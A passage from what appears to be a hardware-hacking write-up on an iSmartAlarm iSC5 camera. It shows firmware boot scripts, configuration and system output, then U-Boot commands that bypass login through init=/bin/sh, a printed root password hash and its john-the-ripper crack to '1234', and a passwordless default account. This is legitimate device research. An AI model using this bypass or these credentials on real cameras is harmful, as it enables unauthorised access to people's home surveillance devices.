for i in /etc/init.d/S??* ;do&lt;br /&gt;
&lt;br /&gt;
     # Ignore dangling symlinks (if any).&lt;br /&gt;
     [ ! -f &amp;quot;$i&amp;quot; ] &amp;amp;&amp;amp; continue&lt;br /&gt;
&lt;br /&gt;
     case &amp;quot;$i&amp;quot; in&lt;br /&gt;
        *.sh)&lt;br /&gt;
            # Source shell script for speed.&lt;br /&gt;
            (&lt;br /&gt;
                trap - INT QUIT TSTP&lt;br /&gt;
                set start&lt;br /&gt;
                . $i&lt;br /&gt;
            )&lt;br /&gt;
            ;;&lt;br /&gt;
        *)&lt;br /&gt;
            # No sh extension, so fork subprocess.&lt;br /&gt;
            $i start&lt;br /&gt;
            ;;&lt;br /&gt;
    esac&lt;br /&gt;
done&lt;br /&gt;
&lt;br /&gt;
# Here start our services&lt;br /&gt;
/etc/init.d/rc.local &amp;amp;&lt;br /&gt;
&lt;br /&gt;
/usr/bin/singleBoadTest/singleBoadTest&lt;br /&gt;
if [ -f /etc/iSC3S/executable ]; then&lt;br /&gt;
        /etc/iSC3S/iSC3S &amp;amp;&lt;br /&gt;
else&lt;br /&gt;
        /root/etc_default/iSC3S/iSC3S &amp;amp;&lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /etc/inittab&lt;br /&gt;
# Format for each entry: &amp;lt;id&amp;gt;:&amp;lt;runlevels&amp;gt;:&amp;lt;action&amp;gt;:&amp;lt;process&amp;gt;&lt;br /&gt;
# id        == tty to run on, or empty for /dev/console&lt;br /&gt;
# runlevels == ignored&lt;br /&gt;
# action    == one of sysinit, respawn, askfirst, wait, and once&lt;br /&gt;
# process   == program to run&lt;br /&gt;
&lt;br /&gt;
# Startup the system&lt;br /&gt;
null::sysinit:/bin/mount -o remount,rw /&lt;br /&gt;
null::sysinit:/bin/mount -a&lt;br /&gt;
# now run any rc scripts&lt;br /&gt;
::sysinit:/usr/bin/pars_diff 10&lt;br /&gt;
::sysinit:/etc/init.d/rcS&lt;br /&gt;
&lt;br /&gt;
# Put a getty on the serial port&lt;br /&gt;
ttyS0::respawn:/sbin/getty -L ttyS0 115200 vt100&lt;br /&gt;
&lt;br /&gt;
# Logging junk&lt;br /&gt;
null::sysinit:/bin/touch /var/log/messages&lt;br /&gt;
null::respawn:/sbin/syslogd -n -m 0&lt;br /&gt;
null::respawn:/sbin/klogd -n&lt;br /&gt;
&lt;br /&gt;
# Stuff to do for the 3-finger salute&lt;br /&gt;
::ctrlaltdel:/sbin/reboot&lt;br /&gt;
&lt;br /&gt;
# Stuff to do before rebooting&lt;br /&gt;
null::shutdown:/usr/bin/killall klogd&lt;br /&gt;
null::shutdown:/usr/bin/killall syslogd&lt;br /&gt;
null::shutdown:/bin/umount -a -r&lt;br /&gt;
null::shutdown:/sbin/swapoff -a&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;User configuration&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;Wired_DNS=192.168.1.1&lt;br /&gt;
Wired_Gateway=192.168.1.1&lt;br /&gt;
Wired_Subnet=255.255.255.0&lt;br /&gt;
Wired_Mode=D&lt;br /&gt;
Wired_IP=192.168.1.68&lt;br /&gt;
Wifi_DNS=192.168.1.1&lt;br /&gt;
Wifi_Gateway=192.168.1.1&lt;br /&gt;
Wifi_Subnet=255.255.255.0&lt;br /&gt;
Wifi_IP=192.168.1.68&lt;br /&gt;
Wifi_Active=y&lt;br /&gt;
Wifi_Mode=D&lt;br /&gt;
&lt;br /&gt;
[ALARM]&lt;br /&gt;
Alarm_pir_Switch=n&lt;br /&gt;
Alarm_Audio_SmokeYXMOD=200&lt;br /&gt;
Alarm_Audio_Sensitivity=5&lt;br /&gt;
Alarm_Audio_Switch=n&lt;br /&gt;
Alarm_Motion_Region=0,0;0,0&lt;br /&gt;
Alarm_Motion_Sensitivity=5&lt;br /&gt;
Alarm_Motion_Switch=n&lt;br /&gt;
&lt;br /&gt;
[LED_CONTROL]&lt;br /&gt;
Light_Night=y&lt;br /&gt;
Light_Net=y&lt;br /&gt;
&lt;br /&gt;
[VA_PARMS]&lt;br /&gt;
Audio_Volume=1&lt;br /&gt;
Audio_Sample=8000&lt;br /&gt;
Audio_Channel=1&lt;br /&gt;
Video_OSD=n&lt;br /&gt;
Video_Sample=10&lt;br /&gt;
Video_Rate=50&lt;br /&gt;
Video_Vflip=1&lt;br /&gt;
Video_Hflip=1&lt;br /&gt;
Video_Constract=3&lt;br /&gt;
Video_Bright=1&lt;br /&gt;
Video_IPS=30&lt;br /&gt;
&lt;br /&gt;
[CAMERA_INFO]&lt;br /&gt;
Camera_Mqtt_Server=bzy.ismartalarm.com&lt;br /&gt;
Camera_Type=iSC5&lt;br /&gt;
P2p_UID=&lt;br /&gt;
Server_URL=api.ismartalarm.com&lt;br /&gt;
SW_Version=0.0.0.0&lt;br /&gt;
HW_Version=0.0.0.0&lt;br /&gt;
Config_Version=2.4.9.6&lt;br /&gt;
Device_State=up&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Mounted filesystems (&amp;lt;code&amp;gt;df&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;fdisk&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;cat /proc/mounts&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;# cat /proc/mtd&lt;br /&gt;
dev:    size   erasesize  name&lt;br /&gt;
mtd0: 000c0000 00008000 &amp;quot;uboot&amp;quot;&lt;br /&gt;
mtd1: 00300000 00008000 &amp;quot;kernel&amp;quot;&lt;br /&gt;
mtd2: 00700000 00008000 &amp;quot;rootfs&amp;quot;&lt;br /&gt;
mtd3: 00400000 00008000 &amp;quot;rescue&amp;quot;&lt;br /&gt;
mtd4: 00100000 00008000 &amp;quot;etc&amp;quot;&lt;br /&gt;
mtd5: 00040000 00008000 &amp;quot;userconfig&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# df&lt;br /&gt;
Filesystem           1K-blocks      Used Available Use% Mounted on&lt;br /&gt;
/dev/root                12948     12948         0 100% /&lt;br /&gt;
dev                        512         4       508   1% /dev&lt;br /&gt;
/dev/mtdblock4            1024       724       300  71% /etc&lt;br /&gt;
tmpfs                    40228        12     40216   0% /tmp&lt;br /&gt;
lock                     20112         0     20112   0% /var/lock&lt;br /&gt;
log                      20112        40     20072   0% /var/log&lt;br /&gt;
run                      20112        16     20096   0% /var/run&lt;br /&gt;
spool                    20112         0     20112   0% /var/spool&lt;br /&gt;
tmp                      20112         0     20112   0% /var/tmp&lt;br /&gt;
media                    20112         0     20112   0% /media&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# fdisk -l&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock0: 0 MB, 786432 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock0 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock1: 3 MB, 3145728 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock1 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock2: 7 MB, 7340032 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock2 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock3: 4 MB, 4194304 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock3 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock4: 1 MB, 1048576 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock4 doesn&#039;t contain a valid partition table&lt;br /&gt;
&lt;br /&gt;
Disk /dev/mtdblock5: 0 MB, 262144 bytes&lt;br /&gt;
255 heads, 63 sectors/track, 0 cylinders&lt;br /&gt;
Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# cat /proc/mounts&lt;br /&gt;
rootfs / rootfs rw 0 0&lt;br /&gt;
/dev/root / cramfs ro,relatime 0 0&lt;br /&gt;
none /proc proc rw,relatime 0 0&lt;br /&gt;
none /sys sysfs rw,relatime 0 0&lt;br /&gt;
none /proc/bus/usb usbfs rw,relatime 0 0&lt;br /&gt;
dev /dev tmpfs rw,relatime,size=512k,mode=755 0 0&lt;br /&gt;
devpts /dev/pts devpts rw,relatime,mode=600 0 0&lt;br /&gt;
/dev/mtdblock4 /etc jffs2 rw,relatime 0 0&lt;br /&gt;
tmpfs /tmp tmpfs rw,relatime,size=40228k 0 0&lt;br /&gt;
lock /var/lock tmpfs rw,relatime 0 0&lt;br /&gt;
log /var/log tmpfs rw,relatime 0 0&lt;br /&gt;
run /var/run tmpfs rw,relatime 0 0&lt;br /&gt;
spool /var/spool tmpfs rw,relatime 0 0&lt;br /&gt;
tmp /var/tmp tmpfs rw,relatime 0 0&lt;br /&gt;
media /media tmpfs rw,relatime 0 0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Running processes (&amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;top&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;  PID USER       VSZ STAT COMMAND&lt;br /&gt;
  PID USER       VSZ STAT COMMAND&lt;br /&gt;
    1 root      1164 S    init&lt;br /&gt;
    2 root         0 SW   [kthreadd]&lt;br /&gt;
    3 root         0 SW   [ksoftirqd/0]&lt;br /&gt;
    4 root         0 SW   [events/0]&lt;br /&gt;
    5 root         0 SW   [khelper]&lt;br /&gt;
    8 root         0 SW   [async/mgr]&lt;br /&gt;
  183 root         0 SW   [sync_supers]&lt;br /&gt;
  185 root         0 SW   [bdi-default]&lt;br /&gt;
  187 root         0 SW   [kblockd/0]&lt;br /&gt;
  197 root         0 SW   [khubd]&lt;br /&gt;
  200 root         0 SW   [kseriod]&lt;br /&gt;
  205 root         0 SW   [kmmcd]&lt;br /&gt;
  215 root         0 SW   [cfg80211]&lt;br /&gt;
  236 root         0 SW   [rpciod/0]&lt;br /&gt;
  243 root         0 SW   [khungtaskd]&lt;br /&gt;
  244 root         0 SW   [kswapd0]&lt;br /&gt;
  290 root         0 SW   [aio/0]&lt;br /&gt;
  297 root         0 SW   [nfsiod]&lt;br /&gt;
  306 root         0 SW   [crypto/0]&lt;br /&gt;
  375 root         0 SW   [mtdblock0]&lt;br /&gt;
  380 root         0 SW   [mtdblock1]&lt;br /&gt;
  385 root         0 SW   [mtdblock2]&lt;br /&gt;
  390 root         0 SW   [mtdblock3]&lt;br /&gt;
  395 root         0 SW   [mtdblock4]&lt;br /&gt;
  400 root         0 SW   [mtdblock5]&lt;br /&gt;
  405 root         0 SW   [snx-spi.0]&lt;br /&gt;
  418 root         0 SW   [zd1211rw]&lt;br /&gt;
  467 root         0 SW   [usbhid_resumer]&lt;br /&gt;
  501 root         0 SWN  [jffs2_gcd_mtd4]&lt;br /&gt;
  561 root         0 SW   [isp]&lt;br /&gt;
  564 root         0 SW   [flush-31:1]&lt;br /&gt;
  591 root         0 SW   [iscan_sysioc]&lt;br /&gt;
  592 root         0 SW   [dhd_sysioc]&lt;br /&gt;
  594 root         0 SW   [usb-thread]&lt;br /&gt;
  601 root      9964 S    /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  603 root      1160 S    -sh&lt;br /&gt;
  604 root      1152 S    /sbin/syslogd -n -m 0&lt;br /&gt;
  605 root      1148 S    /sbin/klogd -n&lt;br /&gt;
  606 root     58716 S    /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  608 root      2728 S    /usr/bin/test_UP/test_UP&lt;br /&gt;
  670 root      2608 S    wpa_supplicant -Dwext -iwlan0 -c/tmp/wpa_supplicant.&lt;br /&gt;
  680 root      1156 S    udhcpc -i wlan0 -p /var/run/udhcpc.pid -b&lt;br /&gt;
  685 root      1152 R    ps&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Mem: 30252K used, 9976K free, 0K shrd, 4816K buff, 9624K cached&lt;br /&gt;
CPU: 16.6% usr  0.0% sys  0.0% nic 83.3% idle  0.0% io  0.0% irq  0.0% sirq&lt;br /&gt;
Load average: 1.71 0.46 0.16 1/73 683&lt;br /&gt;
  PID  PPID USER     STAT   VSZ %VSZ %CPU COMMAND&lt;br /&gt;
  606   601 root     S    58716145.5  9.9 /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  683   603 root     R     1156  2.8  6.6 top&lt;br /&gt;
  601     1 root     S     9964 24.6  0.0 /root/etc_default/iSC3S/iSC3S&lt;br /&gt;
  608     1 root     S     2728  6.7  0.0 /usr/bin/test_UP/test_UP&lt;br /&gt;
  670     1 root     S     2608  6.4  0.0 wpa_supplicant -Dwext -iwlan0 -c/tmp/w&lt;br /&gt;
    1     0 root     S     1164  2.8  0.0 init&lt;br /&gt;
  603     1 root     S     1160  2.8  0.0 -sh&lt;br /&gt;
  680     1 root     S     1156  2.8  0.0 udhcpc -i wlan0 -p /var/run/udhcpc.pid&lt;br /&gt;
  604     1 root     S     1152  2.8  0.0 /sbin/syslogd -n -m 0&lt;br /&gt;
  605     1 root     S     1148  2.8  0.0 /sbin/klogd -n&lt;br /&gt;
  385     2 root     SW       0  0.0  0.0 [mtdblock2]&lt;br /&gt;
  380     2 root     SW       0  0.0  0.0 [mtdblock1]&lt;br /&gt;
  501     2 root     SWN      0  0.0  0.0 [jffs2_gcd_mtd4]&lt;br /&gt;
  197     2 root     SW       0  0.0  0.0 [khubd]&lt;br /&gt;
  561     2 root     SW       0  0.0  0.0 [isp]&lt;br /&gt;
    5     2 root     SW       0  0.0  0.0 [khelper]&lt;br /&gt;
  205     2 root     SW       0  0.0  0.0 [kmmcd]&lt;br /&gt;
  594     2 root     SW       0  0.0  0.0 [usb-thread]&lt;br /&gt;
    8     2 root     SW       0  0.0  0.0 [async/mgr]&lt;br /&gt;
  183     2 root     SW       0  0.0  0.0 [sync_supers]&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Interface Configuration (&amp;lt;code&amp;gt;ifconfig&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;wlan0     Link encap:Ethernet  HWaddr 00:4D:32:09:B7:2E&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Wireless Intercafe Configuration (&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;&lt;br /&gt;
lo        no wireless extensions.&lt;br /&gt;
eth0      no wireless extensions.&lt;br /&gt;
tunl0     no wireless extensions.&lt;br /&gt;
gre0      no wireless extensions.&lt;br /&gt;
sit0      no wireless extensions.&lt;br /&gt;
ip6tnl0   no wireless extensions.&lt;br /&gt;
&lt;br /&gt;
wlan0     IEEE 802.11  ESSID:&amp;quot;&amp;quot;  Nickname:&amp;quot;&amp;quot;&lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated&lt;br /&gt;
          Bit Rate:72 Mb/s   Tx-Power:32 dBm&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Open Ports (&amp;lt;code&amp;gt;cat /proc/net/tcp&amp;lt;/code&amp;gt;)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;  sl  local_address rem_address   st tx_queue rx_queue tr tm-&amp;gt;when retrnsmt uid timeout inode&lt;br /&gt;
   0: 00000000:5722 00000000:0000 0A 00000000:00000000 00:00000000 00000000   0   0 186 1 c3698000 300 0 0 2 -1&lt;br /&gt;
   1: 00000000:5749 00000000:0000 0A 00000000:00000000 00:00000000 00000000   0   0 382 1 c3698440 300 0 0 2 -1&lt;br /&gt;
   2: 00000000:2712 00000000:0000 0A 00000000:00000000 00:00000000 00000000   0   0 386 1 c3698880 300 0 0 2 -1&lt;br /&gt;
&lt;br /&gt;
/* Resolved&lt;br /&gt;
  sl  local_address rem_address&lt;br /&gt;
   0: 0.0.0.0:22306 0.0.0.0&lt;br /&gt;
   1: 0.0.0.0:22345 0.0.0.0&lt;br /&gt;
   2: 0.0.0.0:10002 0.0.0.0*/&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Authentication Bypass&amp;lt;/h3&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Eventhough the root password (&amp;lt;code&amp;gt;1234&amp;lt;/code&amp;gt;) could easily be guessed (what I failed to achieve), the authentication could also be bypassed by modifing the &amp;lt;code&amp;gt;cmdline&amp;lt;/code&amp;gt; parameters passed to the Linux Kernel when booting. Here, the &amp;lt;code&amp;gt;init&amp;lt;/code&amp;gt; parameter will be changed to &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; to bypass the initialisation process and starts a shell with UID 0 instead. To do this, access the bootloader and execute the following commands:&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Show the bootargs&lt;br /&gt;
printenv&lt;br /&gt;
# bootargs=console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
&lt;br /&gt;
# Change the init parameter&lt;br /&gt;
setenv bootargs console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
&lt;br /&gt;
# Persists Configuration&lt;br /&gt;
saveenv&lt;br /&gt;
# Boot the default image&lt;br /&gt;
boot&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Root Password Acquisition&amp;lt;/h3&amp;gt;&lt;br /&gt;
This section is based on the previous one. After booting the devices with the modified &amp;lt;code&amp;gt;cmdline&amp;lt;/code&amp;gt; passed to the Linux Kernel, one is presented with a shell. Not all devices have been initialized neither all filesystems have been mounted, including the etc directory. Parts of the &amp;lt;code&amp;gt;/linuxrc&amp;lt;/code&amp;gt; code can be manually executed to set the system up as far as needed at this step. In order to grab the root digest, none of this is necessary, since the default config is stored in &amp;lt;code&amp;gt;/root/etc_default&amp;lt;/code&amp;gt;, which &amp;lt;code&amp;gt;/linuxrc&amp;lt;/code&amp;gt; would copy to the &amp;lt;code&amp;gt;/etc&amp;lt;/code&amp;gt; directory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;code&amp;gt;/linuxrc&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;echo &amp;quot;Create device file&amp;quot;&lt;br /&gt;
/bin/mount -t proc none /proc&lt;br /&gt;
/bin/mount -t sysfs none /sys&lt;br /&gt;
/bin/mount -t usbfs none /proc/bus/usb&lt;br /&gt;
/bin/mount -t tmpfs -o size=512k,mode=0755 dev /dev&lt;br /&gt;
/bin/mkdir /dev/pts&lt;br /&gt;
/bin/mkdir /dev/shm&lt;br /&gt;
/bin/mount -t devpts devpts  /dev/pts&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
&lt;br /&gt;
#add for mount /dev/mtdblock4&lt;br /&gt;
/bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
if [ $? -ne 0 ]; then&lt;br /&gt;
        echo &amp;quot;Clean up the old data in the &#039;etc&#039; partition.&amp;quot;&lt;br /&gt;
        /usr/sbin/flash_eraseall -j -q /dev/mtd4&lt;br /&gt;
        /bin/mount -t jffs2 /dev/mtdblock4 /etc&lt;br /&gt;
fi&lt;br /&gt;
if [ ! -x /etc/init.d/rcS ]; then&lt;br /&gt;
        echo &amp;quot;The system run for the first time.&amp;quot;&lt;br /&gt;
        echo &amp;quot;Please wait for initialization...&amp;quot;&lt;br /&gt;
        /bin/rm -rf /etc/*&lt;br /&gt;
        cp -a /root/etc_default/* /etc&lt;br /&gt;
        /bin/fsync&lt;br /&gt;
fi&lt;br /&gt;
#Create mdev&lt;br /&gt;
/bin/echo /sbin/mdev &amp;gt; /proc/sys/kernel/hotplug&lt;br /&gt;
/sbin/mdev -s&lt;br /&gt;
#add nvram inode&lt;br /&gt;
/sbin/modprobe snx_crypto&lt;br /&gt;
/sbin/modprobe snx_nvram&lt;br /&gt;
/bin/mknod /dev/nvram c 251 0&lt;br /&gt;
exec /sbin/init&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;shadow&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; file is located under &amp;lt;code&amp;gt;/root/etc_default/&amp;lt;/code&amp;gt;. Note that there is another user called &amp;lt;code&amp;gt;default&amp;lt;/code&amp;gt;, who requires no password to login. The root password can be cracked using john the ripper on another PC as seen below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# unshadow passwd shadow &lt;br /&gt;
root:$1$2368HyEJ$kwdhYsA4j0BOLLvdohThM1:0:0:root:/root:/bin/sh&lt;br /&gt;
daemon:*:1:1:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
bin:*:2:2:bin:/bin:/bin/sh&lt;br /&gt;
sys:x:3:3:sys:/dev:/bin/sh&lt;br /&gt;
sync:*:4:100:sync:/bin:/bin/sync&lt;br /&gt;
mail:x:8:8:mail:/var/spool/mail:/bin/sh&lt;br /&gt;
proxy:x:13:13:proxy:/bin:/bin/sh&lt;br /&gt;
www-data:x:33:33:www-data:/var/www:/bin/sh&lt;br /&gt;
backup:x:34:34:backup:/var/backups:/bin/sh&lt;br /&gt;
operator:*:37:37:Operator:/var:/bin/sh&lt;br /&gt;
sshd:x:103:99:Operator:/var:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/home:/bin/sh&lt;br /&gt;
default::1000:1000:Default non-root user:/home/default:/bin/sh&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# john hash.txt Wordlists/Tiny/10_million_password_list_top_100000.txt&lt;br /&gt;
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 256/256 AVX2 8x3])&lt;br /&gt;
1234             (root)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;Once priviledged access has been acquired, the changes made to the U-Boot booloader should be reverted, to make the device start as intended.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;setenv bootargs console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
saveenv&lt;br /&gt;
boot&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;From this point on, it is possible to login to the root shell of the device using the acquired password. But I strongly suggest, to execute the following commands before working on the shell. The &amp;lt;code&amp;gt;/sbin/init&amp;lt;/code&amp;gt; script starts two instances of the &amp;lt;code&amp;gt;/root/etc_default/iSC3S/iSC3S&amp;lt;/code&amp;gt; executable, which prints to stdout by default, which is VERY annoying. If we kill the process, some watchdog triggers the device to automatically restart, instead we kill both instances and manually restart the executable in the background, and redirect its output to the nirvana. Note that if you login before the device has fully booted up, the PID may be different than in the code below.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
